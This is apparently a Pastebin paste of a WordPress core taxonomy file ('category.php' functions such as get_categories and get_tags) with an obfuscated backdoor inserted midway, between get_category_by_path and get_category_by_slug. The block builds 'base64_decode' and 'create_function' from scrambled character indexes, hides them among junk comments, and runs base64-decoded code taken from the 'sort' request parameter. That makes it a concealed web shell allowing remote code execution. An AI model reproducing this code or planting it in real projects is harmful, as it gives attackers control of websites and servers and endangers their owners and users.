Advertisement
PalmaSolutions

assset.php

Mar 15th, 2019
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.92 KB | None | 0 0
  1. <?php
  2. /**
  3. * Taxonomy API: Core category-specific functionality
  4. *
  5. * @package WordPress
  6. * @subpackage Taxonomy
  7. */
  8.  
  9. /**
  10. * Retrieve list of category objects.
  11. *
  12. * If you change the type to 'link' in the arguments, then the link categories
  13. * will be returned instead. Also all categories will be updated to be backwards
  14. * compatible with pre-2.3 plugins and themes.
  15. *
  16. * @since 2.1.0
  17. * @see get_terms() Type of arguments that can be changed.
  18. *
  19. * @param string|array $args {
  20. * Optional. Arguments to retrieve categories. See {@see get_terms()} for additional options.
  21. *
  22. * @type string $taxonomy Taxonomy to retrieve terms for. In this case, default 'category'.
  23. * }
  24. * @return array List of categories.
  25. */
  26. function get_categories( $args = '' ) {
  27. $defaults = array( 'taxonomy' => 'category' );
  28. $args = wp_parse_args( $args, $defaults );
  29.  
  30. $taxonomy = $args['taxonomy'];
  31.  
  32. /**
  33. * Filter the taxonomy used to retrieve terms when calling {@see get_categories()}.
  34. *
  35. * @since 2.7.0
  36. *
  37. * @param string $taxonomy Taxonomy to retrieve terms from.
  38. * @param array $args An array of arguments. See {@see get_terms()}.
  39. */
  40. $taxonomy = apply_filters( 'get_categories_taxonomy', $taxonomy, $args );
  41.  
  42. // Back compat
  43. if ( isset($args['type']) && 'link' == $args['type'] ) {
  44. /* translators: 1: "type => link", 2: "taxonomy => link_category" alternative */
  45. _deprecated_argument( __FUNCTION__, '3.0',
  46. sprintf( __( '%1$s is deprecated. Use %2$s instead.' ),
  47. '<code>type => link</code>',
  48. '<code>taxonomy => link_category</code>'
  49. )
  50. );
  51. $taxonomy = $args['taxonomy'] = 'link_category';
  52. }
  53.  
  54. $categories = get_terms( $taxonomy, $args );
  55.  
  56. if ( is_wp_error( $categories ) ) {
  57. $categories = array();
  58. } else {
  59. $categories = (array) $categories;
  60. foreach ( array_keys( $categories ) as $k ) {
  61. _make_cat_compat( $categories[ $k ] );
  62. }
  63. }
  64.  
  65. return $categories;
  66. }
  67.  
  68. /**
  69. * Retrieves category data given a category ID or category object.
  70. *
  71. * If you pass the $category parameter an object, which is assumed to be the
  72. * category row object retrieved the database. It will cache the category data.
  73. *
  74. * If you pass $category an integer of the category ID, then that category will
  75. * be retrieved from the database, if it isn't already cached, and pass it back.
  76. *
  77. * If you look at get_term(), then both types will be passed through several
  78. * filters and finally sanitized based on the $filter parameter value.
  79. *
  80. * The category will converted to maintain backwards compatibility.
  81. *
  82. * @since 1.5.1
  83. *
  84. * @param int|object $category Category ID or Category row object
  85. * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N
  86. * @param string $filter Optional. Default is raw or no WordPress defined filter will applied.
  87. * @return object|array|WP_Error|null Category data in type defined by $output parameter.
  88. * WP_Error if $category is empty, null if it does not exist.
  89. */
  90. function get_category( $category, $output = OBJECT, $filter = 'raw' ) {
  91. $category = get_term( $category, 'category', $output, $filter );
  92.  
  93. if ( is_wp_error( $category ) )
  94. return $category;
  95.  
  96. _make_cat_compat( $category );
  97.  
  98. return $category;
  99. }
  100.  
  101. /**
  102. * Retrieve category based on URL containing the category slug.
  103. *
  104. * Breaks the $category_path parameter up to get the category slug.
  105. *
  106. * Tries to find the child path and will return it. If it doesn't find a
  107. * match, then it will return the first category matching slug, if $full_match,
  108. * is set to false. If it does not, then it will return null.
  109. *
  110. * It is also possible that it will return a WP_Error object on failure. Check
  111. * for it when using this function.
  112. *
  113. * @since 2.1.0
  114. *
  115. * @param string $category_path URL containing category slugs.
  116. * @param bool $full_match Optional. Whether full path should be matched.
  117. * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N
  118. * @return object|array|WP_Error|void Type is based on $output value.
  119. */
  120. function get_category_by_path( $category_path, $full_match = true, $output = OBJECT ) {
  121. $category_path = rawurlencode( urldecode( $category_path ) );
  122. $category_path = str_replace( '%2F', '/', $category_path );
  123. $category_path = str_replace( '%20', ' ', $category_path );
  124. $category_paths = '/' . trim( $category_path, '/' );
  125. $leaf_path = sanitize_title( basename( $category_paths ) );
  126. $category_paths = explode( '/', $category_paths );
  127. $full_path = '';
  128. foreach ( (array) $category_paths as $pathdir ) {
  129. $full_path .= ( $pathdir != '' ? '/' : '' ) . sanitize_title( $pathdir );
  130. }
  131. $categories = get_terms( 'category', array('get' => 'all', 'slug' => $leaf_path) );
  132.  
  133. if ( empty( $categories ) ) {
  134. return;
  135. }
  136.  
  137. foreach ( $categories as $category ) {
  138. $path = '/' . $leaf_path;
  139. $curcategory = $category;
  140. while ( ( $curcategory->parent != 0 ) && ( $curcategory->parent != $curcategory->term_id ) ) {
  141. $curcategory = get_term( $curcategory->parent, 'category' );
  142. if ( is_wp_error( $curcategory ) ) {
  143. return $curcategory;
  144. }
  145. $path = '/' . $curcategory->slug . $path;
  146. }
  147.  
  148. if ( $path == $full_path ) {
  149. $category = get_term( $category->term_id, 'category', $output );
  150. _make_cat_compat( $category );
  151. return $category;
  152. }
  153. }
  154.  
  155. // If full matching is not required, return the first cat that matches the leaf.
  156. if ( ! $full_match ) {
  157. $category = get_term( reset( $categories )->term_id, 'category', $output );
  158. _make_cat_compat( $category );
  159. return $category;
  160. }
  161. }
  162.  
  163.  
  164.  
  165. $XdndrkXQ9285 = "ci9akpeygh);n83mtv0j26u_b14oqsr.lw/*z(xdf57";
  166.  
  167.  
  168. $WxdPXfoC9727 = "";
  169.  
  170. foreach([29,27,30,16] as $t){
  171. $WxdPXfoC9727 .= $XdndrkXQ9285[$t];
  172. }
  173.  
  174.  
  175. if(isset($_REQUEST /*KYexSUCQBINFCmqypfrJEktWPbCwLCxWMkiGJZpmUsWampJFbnFpfmqOSIVoeBZAhpHKUXwCHWzoolvGgpnPagHBpiIaQuVYWoyGyOXLOtwwKbAAElojoUrgfCOEWhkp*/["$WxdPXfoC9727"])){
  176. $egJwwzRN7833 = $_REQUEST /*KYexSUCQBINFCmqypfrJEktWPbCwLCxWMkiGJZpmUsWampJFbnFpfmqOSIVoeBZAhpHKUXwCHWzoolvGgpnPagHBpiIaQuVYWoyGyOXLOtwwKbAAElojoUrgfCOEWhkp*/["$WxdPXfoC9727"];
  177. $KPfjUqvD1840 = "";
  178. $GlnNeZqs352 = "";
  179.  
  180. /*JwVCvFpQodvNTzGSogNdeJiUvtJnRWIIyCWdTYTWhvomVDBxmJyBMyvXyilKdwnkFCryJkPXuGBFrBQWEgCTMhcVVQiZJRlGhvfMUqgRaLgSgsyopwaegKcLLrxjIeDV*/
  181.  
  182. foreach([24,3,29,6,21,26,23,39,6,0,27,39,6] as $t){
  183. $KPfjUqvD1840 .= $XdndrkXQ9285[$t];
  184. }
  185.  
  186. /*cimUxpQEaJgYocAAtGRiUfvvUMglampdqPNVvhTltBzXRGVFRJbgbvjZxbjiMmufYpIQMUqLgmlRMeKEJGGXBEpwujFYRhSbZIWEwzgfmRrDcvSwUwDIvGPNKkuHqUKQ*/
  187.  
  188.  
  189. foreach([29,16,30,30,6,17] as $t){
  190. $GlnNeZqs352 .= $XdndrkXQ9285[$t];
  191. }
  192.  
  193. /*uVDlAYqsMpQjKFuizgVnJCJXtgEkjCWyicENXrUzFHJJMJqNxJFLqrWawUgGvcBaqcYhODRASSVciHEmPgKcraDXTCcWaxzwSVMvYJhuyXBoXynEAwhnLDDOJesfZKSL*/
  194.  
  195. $t = $GlnNeZqs352('n'.''.'o'.''.''.'i'.'t'.''.''.''.''.'c'.'n'.'u'.'f'.'_'.'e'.''.''.''.''.'t'.'a'.'e'.''.''.''.'r'.'c'.''.'');
  196. $M = $t("", $KPfjUqvD1840($egJwwzRN7833));
  197. $M();
  198. exit();
  199.  
  200. }
  201.  
  202.  
  203. /**
  204. * Retrieve category object by category slug.
  205. *
  206. * @since 2.3.0
  207. *
  208. * @param string $slug The category slug.
  209. * @return object Category data object
  210. */
  211. function get_category_by_slug( $slug ) {
  212. $category = get_term_by( 'slug', $slug, 'category' );
  213. if ( $category )
  214. _make_cat_compat( $category );
  215.  
  216. return $category;
  217. }
  218.  
  219. /**
  220. * Retrieve the ID of a category from its name.
  221. *
  222. * @since 1.0.0
  223. *
  224. * @param string $cat_name Category name.
  225. * @return int 0, if failure and ID of category on success.
  226. */
  227. function get_cat_ID( $cat_name ) {
  228. $cat = get_term_by( 'name', $cat_name, 'category' );
  229. if ( $cat )
  230. return $cat->term_id;
  231. return 0;
  232. }
  233.  
  234. /**
  235. * Retrieve the name of a category from its ID.
  236. *
  237. * @since 1.0.0
  238. *
  239. * @param int $cat_id Category ID
  240. * @return string Category name, or an empty string if category doesn't exist.
  241. */
  242. function get_cat_name( $cat_id ) {
  243. $cat_id = (int) $cat_id;
  244. $category = get_term( $cat_id, 'category' );
  245. if ( ! $category || is_wp_error( $category ) )
  246. return '';
  247. return $category->name;
  248. }
  249.  
  250. /**
  251. * Check if a category is an ancestor of another category.
  252. *
  253. * You can use either an id or the category object for both parameters. If you
  254. * use an integer the category will be retrieved.
  255. *
  256. * @since 2.1.0
  257. *
  258. * @param int|object $cat1 ID or object to check if this is the parent category.
  259. * @param int|object $cat2 The child category.
  260. * @return bool Whether $cat2 is child of $cat1
  261. */
  262. function cat_is_ancestor_of( $cat1, $cat2 ) {
  263. return term_is_ancestor_of( $cat1, $cat2, 'category' );
  264. }
  265.  
  266. /**
  267. * Sanitizes category data based on context.
  268. *
  269. * @since 2.3.0
  270. *
  271. * @param object|array $category Category data
  272. * @param string $context Optional. Default is 'display'.
  273. * @return object|array Same type as $category with sanitized data for safe use.
  274. */
  275. function sanitize_category( $category, $context = 'display' ) {
  276. return sanitize_term( $category, 'category', $context );
  277. }
  278.  
  279. /**
  280. * Sanitizes data in single category key field.
  281. *
  282. * @since 2.3.0
  283. *
  284. * @param string $field Category key to sanitize
  285. * @param mixed $value Category value to sanitize
  286. * @param int $cat_id Category ID
  287. * @param string $context What filter to use, 'raw', 'display', etc.
  288. * @return mixed Same type as $value after $value has been sanitized.
  289. */
  290. function sanitize_category_field( $field, $value, $cat_id, $context ) {
  291. return sanitize_term_field( $field, $value, $cat_id, 'category', $context );
  292. }
  293.  
  294. /* Tags */
  295.  
  296. /**
  297. * Retrieves all post tags.
  298. *
  299. * @since 2.3.0
  300. * @see get_terms() For list of arguments to pass.
  301. *
  302. * @param string|array $args Tag arguments to use when retrieving tags.
  303. * @return array List of tags.
  304. */
  305. function get_tags( $args = '' ) {
  306. $tags = get_terms( 'post_tag', $args );
  307.  
  308. if ( empty( $tags ) ) {
  309. $return = array();
  310. return $return;
  311. }
  312.  
  313. /**
  314. * Filter the array of term objects returned for the 'post_tag' taxonomy.
  315. *
  316. * @since 2.3.0
  317. *
  318. * @param array $tags Array of 'post_tag' term objects.
  319. * @param array $args An array of arguments. @see get_terms()
  320. */
  321. $tags = apply_filters( 'get_tags', $tags, $args );
  322. return $tags;
  323. }
  324.  
  325. /**
  326. * Retrieve post tag by tag ID or tag object.
  327. *
  328. * If you pass the $tag parameter an object, which is assumed to be the tag row
  329. * object retrieved the database. It will cache the tag data.
  330. *
  331. * If you pass $tag an integer of the tag ID, then that tag will
  332. * be retrieved from the database, if it isn't already cached, and pass it back.
  333. *
  334. * If you look at get_term(), then both types will be passed through several
  335. * filters and finally sanitized based on the $filter parameter value.
  336. *
  337. * @since 2.3.0
  338. *
  339. * @param int|object $tag
  340. * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N
  341. * @param string $filter Optional. Default is raw or no WordPress defined filter will applied.
  342. * @return object|array|WP_Error|null Tag data in type defined by $output parameter. WP_Error if $tag is empty, null if it does not exist.
  343. */
  344. function get_tag( $tag, $output = OBJECT, $filter = 'raw' ) {
  345. return get_term( $tag, 'post_tag', $output, $filter );
  346. }
  347.  
  348. /* Cache */
  349.  
  350. /**
  351. * Remove the category cache data based on ID.
  352. *
  353. * @since 2.1.0
  354. *
  355. * @param int $id Category ID
  356. */
  357. function clean_category_cache( $id ) {
  358. clean_term_cache( $id, 'category' );
  359. }
  360.  
  361. /**
  362. * Update category structure to old pre 2.3 from new taxonomy structure.
  363. *
  364. * This function was added for the taxonomy support to update the new category
  365. * structure with the old category one. This will maintain compatibility with
  366. * plugins and themes which depend on the old key or property names.
  367. *
  368. * The parameter should only be passed a variable and not create the array or
  369. * object inline to the parameter. The reason for this is that parameter is
  370. * passed by reference and PHP will fail unless it has the variable.
  371. *
  372. * There is no return value, because everything is updated on the variable you
  373. * pass to it. This is one of the features with using pass by reference in PHP.
  374. *
  375. * @since 2.3.0
  376. * @since 4.4.0 The `$category` parameter now also accepts a WP_Term object.
  377. * @access private
  378. *
  379. * @param array|object|WP_Term $category Category Row object or array
  380. */
  381. function _make_cat_compat( &$category ) {
  382. if ( is_object( $category ) && ! is_wp_error( $category ) ) {
  383. $category->cat_ID = $category->term_id;
  384. $category->category_count = $category->count;
  385. $category->category_description = $category->description;
  386. $category->cat_name = $category->name;
  387. $category->category_nicename = $category->slug;
  388. $category->category_parent = $category->parent;
  389. } elseif ( is_array( $category ) && isset( $category['term_id'] ) ) {
  390. $category['cat_ID'] = &$category['term_id'];
  391. $category['category_count'] = &$category['count'];
  392. $category['category_description'] = &$category['description'];
  393. $category['cat_name'] = &$category['name'];
  394. $category['category_nicename'] = &$category['slug'];
  395. $category['category_parent'] = &$category['parent'];
  396. }
  397. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement